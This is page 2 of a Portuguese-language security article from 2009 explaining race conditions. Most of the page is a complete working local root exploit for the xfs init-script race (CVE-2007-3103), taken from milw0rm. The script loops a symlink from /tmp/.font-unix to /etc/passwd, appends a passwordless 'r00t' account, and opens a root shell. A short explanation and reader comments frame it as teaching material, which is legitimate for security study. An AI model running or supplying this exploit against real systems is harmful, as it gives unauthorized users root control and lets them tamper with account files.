Race Condition

Explicação do que é uma race condition e de que forma ela está vinculada à falha de DNS, recentemente descoberta por Dan Kaminsky.

[ Hits: 20.192 ]

Por: Luiz Vieira em 04/05/2009 | Blog: http://hackproofing.blogspot.com/


Exemplo de exploit para race condition no XFS



O exploit abaixo, explora uma vulnerabilidade de race condition no Xorg versão 1.0.2-3.1 e anteriores, da distribuição Linux Redhat.

A vulnerabilidade está na função start() do script /etc/init.d/xfs.
  • XFS é o "X Font Server", e é utilizado para criar fontes para o sistema X Window.
  • "init.d" refere-se ao script de inicialização e desligamento (shutdown) utilizado por sistemas de plataforma Linux.

No momento do boot ou desligamento da máquina, estes scripts são executados pelo init.d para iniciar e parar vários serviços do sistema.

Maiores informações sobre tal vulnerabilidade podem ser encontradas nesse link:
#!/bin/sh
# Xorg-x11-xfs Race Condition Vuln local root exploit (CVE-2007-3103)
#
# $ id
# uid=1001(kecos) gid=1001(user) groups=1001(user)
# $ sh xfs-RaceCondition-root-exploit.sh
# [*] Generate large data file in /tmp/.font-unix
# [*] Wait for xfs service to be (re)started by root...
# [*] Hop, symlink created...
# [*] Launching root shell
# -sh-3.1# id
# uid=0(root) gid=0(root) groups=0(root)

# ...
# rm -rf $FONT_UNIX_DIR
# mkdir $FONT_UNIX_DIR
# chown root:root $FONT_UNIX_DIR
# chmod 1777 $FONT_UNIX_DIR
# ...


FontDir="/tmp/.font-unix"
Zero=/dev/zero
Size=900000

if [ ! -d $FontDir ]; then
   printf "Is xfs running ?\n"
   exit 1
fi

cd /tmp
cat > sym.c << EOF
#include <unistd.h>
int main(){
for(;;){if(symlink("/etc/passwd","/tmp/.font-unix")==0)
{return 0;}}}
EOF

cc sym.c -o sym>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: Cant compile code"
   exit 1
fi

printf "[*] Generate large data file in $FontDir\n"
dd if=${Zero} of=${FontDir}/BigFile bs=1024 count=${Size}>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: cant create large file"
   exit 1
fi

printf "[*] Wait for xfs service to be (re)started by root...\n"
./sym
if [ $? != 0 ]; then
   printf "Error: code failed...\n"
   exit 1
fi

if [ -L /tmp/.font-unix ]; then
    printf "[*] Hop, symlink created...\n"
    printf "[*] Launching root shell\n"
    sleep 2
    rm -f /tmp/.font-unix
    echo "r00t::0:0::/:/bin/sh" >> /etc/passwd
fi
su - r00t

Fonte: milw0rm.com

Página anterior     Próxima página

Páginas do artigo
   1. Race Condition
   2. Exemplo de exploit para race condition no XFS
   3. Exemplo de exploit para DNS cache poisoning
Outros artigos deste autor

XSS - Cross Site Scripting

Distribuição CAINE Linux para forense digital: em Live-CD, pendrive, máquina virtual ou direto em seu Ubuntu 10.04

Segurança da Informação: Necessidades e mudanças de paradigma com o avanço da civilização

PNL para Hacking

Cheops: uma ótima ferramenta de rede

Leitura recomendada

Segurança Física (Parte 1)

Nikto - Tutorial básico e avançado

Sistemas e volumes criptografados e escondidos utilizando o TrueCrypt

Ferramentas de detecção e NMAP

Arpwatch - Detecte em sua rede ataques de Arp Spoofing/Arp Poisoning

  
Comentários
[1] Comentário enviado por ygorth em 05/05/2009 - 09:55h

Estou gostando do nivel dos temas discutidos nos Artigos. Abraços!!!

[2] Comentário enviado por grandmaster em 05/05/2009 - 21:19h

Realmente, estão muito bons. Trazendo alguns aspectos de segurança para conhecimento da galera.


Renato de Castro Henriques
CobiT Foundation 4.1 Certified ID: 90391725
http://www.renato.henriques.nom.br

[3] Comentário enviado por AprendizPinguim em 12/05/2009 - 10:10h

Excelente artigo meu caro amigo!

Abraço!

[4] Comentário enviado por marcrock em 14/05/2009 - 03:51h

Realmente um artigo excelente !
Esse tema é muito interessante , gostaria de saber se essas condições de race tem relação direta com o modo como o núcleo dos So's gerenciam os atendimentos aos descritores de arquivos e sockets nos diversos subsistemas ( open(), select() , ppoll(), etc ... ), ou diz respeito apenas a implementação do protocolo DNS ou do BIND ???

Parabéns pelo artigo .

Até +.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts